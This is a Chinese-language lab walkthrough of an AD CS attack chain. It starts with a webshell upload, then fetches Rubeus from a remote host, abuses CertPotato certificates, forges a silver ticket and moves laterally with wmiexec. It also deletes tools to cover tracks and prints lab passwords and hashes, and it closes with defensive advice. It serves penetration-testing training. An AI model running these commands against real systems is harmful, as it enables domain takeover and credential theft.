Active Directory 证书服务 (AD CS) 攻击链完整指南
🔥 AD CS 攻击链:从菜鸟到大佬的完整Freestyle指南 🔥
这是什么鬼? 🎤
今日目标 🎯
- 搞定 cb-webapp1 上的破Web应用 - 让它哭着叫妈妈
- 用 CertPotato 来个华丽转身 - 从小弟变大哥,获取管理员权限
🎵 第一章:侦察时间 - "我在看着你" 🎵
Windows环境:像个真正的黑客一样枚举
用Certify工具开场
# 兄弟,开始我们的表演吧!
C:\ADCS\Tools\Certify.exe cas
ADModule登场 - 重量级选手
# 切换到我们的武器库
cd C:\ADCS\Tools
C:\ADCS\Tools\ObfuscatedTools\InviShell\RunWithRegistryNonAdmin.bat
# 导入我们的秘密武器
Import-Module C:\ADCS\Tools\ADModule\Microsoft.ActiveDirectory.Management.dll
Import-Module C:\ADCS\Tools\ADModule\ActiveDirectory\ActiveDirectory.psd1
# 开始收集情报,像个真正的间谍
Get-ADDomain | ft DNSRoot, ParentDomain, InfrastructureMaster
# 深入敌人内部
Get-ADObject -Filter * -SearchBase 'CN=Certification Authorities,CN=Public Key Services,CN=Services,CN=Configuration,DC=cb,DC=corp'
# 继续挖掘宝藏
ls 'AD:\CN=Certification Authorities,CN=Public Key Services,CN=Services,CN=Configuration,DC=cb,DC=corp' | fl
# 最后一击,获取所有证书颁发机构信息
Get-ADObject -LDAPFilter '(objectclass=certificationAuthority)' -SearchBase 'CN=Configuration,DC=cb,DC=corp' | fl *
Linux环境:企鹅系统也能玩得转
# 切换到我们的Linux战场
cd /opt/Tools/certipy
source certipy_venv/bin/activate
# 用certipy来个全面扫描,就像X光一样
certipy find -u student51 -p kvSSAGvh3tAJlvjQ -dc-ip 172.16.67.1 -stdout
🎵 第二章:开始搞事情 - "Let's Get This Party Started" 🎵
1. 找到我们的目标并给它点颜色看看
# 先看看有哪些机器可以欺负
Get-ADComputer -Filter * -Properties Name | ft Name,DNSHostName,IPv4Address -A
在WSL里来个端口扫描派对
# nmap时间!让我们看看443端口在不在家
nmap -p 443 cb-webapp1.certbulk.cb.corp
2. 文件上传漏洞:我们的入场券 🎫
- 访问目标网站:
https://cb-webapp1.certbulk.cb.corp
- 敲门! - 上传我们的小礼物:
.aspx
webshell - 特洛伊木马时间! - 激活我们的后门:
https://cb-webapp1.certbulk.cb.corp/Files/cmd.aspx
- 欢迎来到我的世界!
3. CertPotato验证:确认我们的超能力
在WSL里搭建我们的指挥中心
# 变身超级用户
sudo su
WSLToTh3Rescue! # 这密码也太可爱了吧
# 准备我们的SMB服务器
cd /opt/Tools/impacket
source impacket_venv/bin/activate
/opt/Tools/impacket/examples/smbserver.py -smb2support testshare .
在WebShell里测试连接
# 测试我们的网络连接,就像测试麦克风一样
/c dir \\cb-ws51.certbulk.cb.corp\testshare$
🎵 第三章:权限提升大作战 - "Leveling Up Like a Boss" 🎵
Windows环境下的CertPotato魔法
在WebShell里施展魔法
# 找到我们的webshell在哪里躲着
/c where /r C:\ cmd.aspx
# 看看有什么好东西可以用
/c dir C:\certbulkadmindata\certbulkadmindata\Files
下载Rubeus:我们的新伙伴 🤝
# 下载我们的秘密武器Rubeus
/c curl --output C:\certbulkadmindata\certbulkadmindata\Files\Rubeus.exe --url http://172.16.100.2/Rubeus.exe
# 使用TGTDeleg技巧,就像变魔术一样获取票据
/c C:\certbulkadmindata\certbulkadmindata\Files\Rubeus.exe tgtdeleg /nowrap
在cb-ws2机器上使用我们的金票
# 导入我们的VIP通行证
C:\ADCS\Tools\Rubeus.exe ptt /ticket:{base64 ticket}
证书请求和转换:炼金术时间 ⚗️
# 先看看有哪些证书模板可以玩
C:\ADCS\Tools\Certify.exe find
# 请求一个机器证书,就像申请VIP会员卡
C:\ADCS\Tools\Certify.exe request /ca:cb-ca.cb.corp\CB-CA /user:cb-webapp1$ /domain:certbulk.cb.corp /template:Machine
# 转换成PFX格式(密码是Passw0rd! - 多么有创意的密码啊)
C:\ADCS\Tools\openssl\openssl.exe pkcs12 -in C:\ADCS\Certs\cb-webapp1.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out C:\ADCS\Certs\cb-webapp1.pfx
Rubeus高级技巧:真正的大师级操作 🎩
UnPac-the-hash攻击:解包时间!
C:\ADCS\Tools\Rubeus.exe asktgt /getcredentials /user:cb-webapp1$ /certificate:C:\ADCS\Certs\cb-webapp1.pfx /password:Passw0rd! /domain:certbulk.cb.corp /dc:cb-dc.certbulk.cb.corp /show\
S4U2Self攻击:冒充游戏开始
C:\ADCS\Tools\Rubeus.exe s4u /self /impersonateuser:Administrator /altservice:cifs/cb-webapp1.certbulk.cb.corp /dc:cb-dc.certbulk.cb.corp /user:cb-webapp1$ /rc4:BG6068B834BE092C8D8DD77AA2157 /ptt
验证我们的新权限:成功的味道
# 测试我们的新超能力
dir \\cb-webapp1.certbulk.cb.corp\c$
whoami # 看看我现在是谁
net localgroup administrators # 检查VIP名单
Linux环境下的CertPotato:企鹅也能飞 🐧
票据处理:数字炼金术
# 编辑我们的base64编码票据
nano /mnt/c/ADCS/Certs/cb-webapp1_potato.kirbi.b64
# 解码我们的秘密消息
base64 -d /mnt/c/ADCS/Certs/cb-webapp1_potato.kirbi.b64 > /mnt/c/ADCS/Certs/cb-webapp1_potato.kirbi
# 转换票据格式,就像翻译外星语言
cd /opt/Tools/impacket
source impacket_venv/bin/activate
/opt/Tools/impacket/examples/ticketConverter.py /mnt/c/ADCS/Certs/cb-webapp1_potato.kirbi /mnt/c/ADCS/Certs/cb-webapp1_potato.ccache
# 导入并激活我们的通行证
export KRB5CCNAME=/mnt/c/ADCS/Certs/cb-webapp1_potato.ccache
klist # 检查我们的票据收藏
Shadow Credentials攻击:影子游戏
cd /opt/Tools/certipy
source certipy_venv/bin/activate
# 启动我们的影子攻击,就像忍者一样
certipy shadow auto -k -no-pass -dc-ip 172.16.67.1 -account 'cb-webapp1' -target cb-dc.certbulk.cb.corp -debug
🎵 第四章:银票据和横向移动 - "Money Moves" 🎵
1. 获取域SID:找到我们的身份证号码
# 用rpcclient获取域的身份信息
rpcclient -U '%' certbulk.cb.corp -c 'lsaquery'
2. 创建银票据:铸造我们的假币 💰
# 切换到我们的造币厂
cd /opt/Tools/impacket
source impacket_venv/bin/activate
# 用ticketer.py创建我们的银票据 - 比特币都没这么值钱
/opt/Tools/impacket/examples/ticketer.py -nthash b6a668e4038348ec92cd8d8d77a72157 -domain certbulk.cb.corp -domain-sid S-1-5-21-3604358216-2548435023-1717832235 -spn cifs/cb-webapp1.certbulk.cb.corp administrator
参数解释(给新手朋友们):
-nthash
: 机器账户的NTLM哈希 - 我们的密钥-domain
: 目标域名 - 我们要征服的王国-domain-sid
: 域的SID - 王国的身份证-spn
: 服务主体名称 - 我们要冒充的服务administrator
: 我们要变成的大佬
3. 票据移动和导入:搬家时间
# 把我们的宝贝移到安全的地方
mv administrator.ccache /mnt/c/ADCS/Certs/
# 激活我们的Kerberos通行证
export KRB5CCNAME=/mnt/c/ADCS/Certs/administrator.ccache
# 检查我们的票据是否生效
klist
4. 横向移动:开始我们的征服之旅 🚀
使用WMI进行远程控制
# 用我们的CIFS票据通过wmiexec进行横向移动
/opt/Tools/impacket/examples/wmiexec.py -k -no-pass certbulk.cb.corp/[email protected]
# 验证我们的新身份
whoami # 我是谁?我在哪?我要干什么?
net localgroup administrators # 检查我们是否在VIP名单上
# 任务完成,优雅退场
exit
🎵 第五章:清理现场 - "Clean Up, Clean Up" 🎵
删除犯罪证据 🧹
# 从webshell中删除我们的工具,不留痕迹
/c del C:\certbulkadmindata\certbulkadmindata\Files\Rubeus.exe
🏆 攻击链总结:我们的成功之路 🏆
完整的征服流程
- 🚪 初始访问: 通过Web应用文件上传漏洞获取webshell - 敲门进屋
- ⬆️ 权限提升: 使用CertPotato技术获取机器账户权限 - 从客人变主人
- 📜 证书滥用: 请求和使用机器证书进行身份验证 - 伪造身份证
- 🎫 票据操作: 提取和转换Kerberos票据 - 收集通行证
- 💰 银票据伪造: 使用机器账户哈希创建伪造的服务票据 - 造假币
- 🚀 横向移动: 通过WMI执行远程命令获取目标系统控制权 - 征服新领土
- 🧹 痕迹清理: 删除攻击工具和日志 - 毁尸灭迹
关键技术要点 💡
CertPotato攻击:我们的秘密武器
- 利用证书服务的权限提升漏洞 - 找到系统的软肋
- 获取机器账户的证书和哈希 - 偷到钥匙
- 实现从服务账户到系统权限的华丽转身 - 麻雀变凤凰
银票据攻击:为什么这么牛逼?
- 🔄 持久性: 银票据在服务账户密码更改前一直有效 - 长期饭票
- 👻 隐蔽性: 不需要与域控制器通信,难以检测 - 隐身术
- 🎭 灵活性: 可以为任何服务创建票据 - 万能钥匙
我们的武器库 🛠️
工具 | 用途 | 平台 | 酷炫指数 |
---|---|---|---|
Certify | AD CS 枚举和证书请求 | Windows | ⭐⭐⭐⭐ |
Certipy | AD CS 枚举和攻击 | Linux | ⭐⭐⭐⭐⭐ |
Rubeus | Kerberos 票据操作 | Windows | ⭐⭐⭐⭐⭐ |
Impacket | 网络协议攻击套件 | Linux | ⭐⭐⭐⭐⭐ |
rpcclient | RPC 客户端工具 | Linux | ⭐⭐⭐ |
ticketer.py | 银票据生成 | Linux | ⭐⭐⭐⭐ |
wmiexec.py | WMI 远程执行 | Linux | ⭐⭐⭐⭐ |
🛡️ 防御建议:如何不被我们这样的人搞 🛡️
检测措施:当个好侦探
- 👀 监控异常的证书请求活动 - 看谁在偷偷申请证书
- 📊 启用Kerberos审计日志 - 记录所有票据活动
- 🚨 监控WMI活动和横向移动行为 - 抓住可疑的网络活动
- 📁 检测异常的文件上传活动 - 防止webshell入侵
预防措施:提前做好准备
- 🔒 实施严格的证书模板安全配置 - 不要给坏人机会
- 🔄 定期轮换服务账户密码 - 让旧钥匙失效
- 🚫 限制Web应用的文件上传功能 - 关闭后门
- 👤 实施最小权限原则 - 不要给太多权限
- 🛡️ 启用Windows Defender或其他EDR解决方案 - 请个保镖
加固建议:让系统更强壮
- ❌ 禁用不必要的证书模板 - 减少攻击面
- 🔍 实施证书模板权限审查 - 定期检查
- ⚙️ 配置证书自动注册策略 - 自动化安全
- 📝 启用证书透明度日志 - 记录一切
- 🏗️ 实施网络分段和访问控制 - 建立防火墙
🎤 结语:这就是我们的故事 🎤
兄弟们,这就是一个完整的AD CS攻击链!从一个小小的Web应用漏洞开始,我们一路freestyle到了域环境的完全控制权。这不是电影,这是现实中每天都在发生的事情!
通过学习这些攻击技术,安全团队可以更好地:
- 🎯 设计防御策略 - 知己知彼,百战不殆
- 👁️ 实施监控和检测机制 - 时刻保持警惕
- 🔍 定期进行安全评估 - 找出系统的弱点
记住,技术本身没有好坏,关键在于使用它的人。用这些知识来保护,而不是破坏!
Stay safe, stay ethical, stay awesome! 🚀
"With great power comes great responsibility" - 某个穿红色紧身衣的蜘蛛侠
Active Directory 证书服务 (AD CS) 攻击链完整指南
http://localhost:8090/archives/o1bH6AuT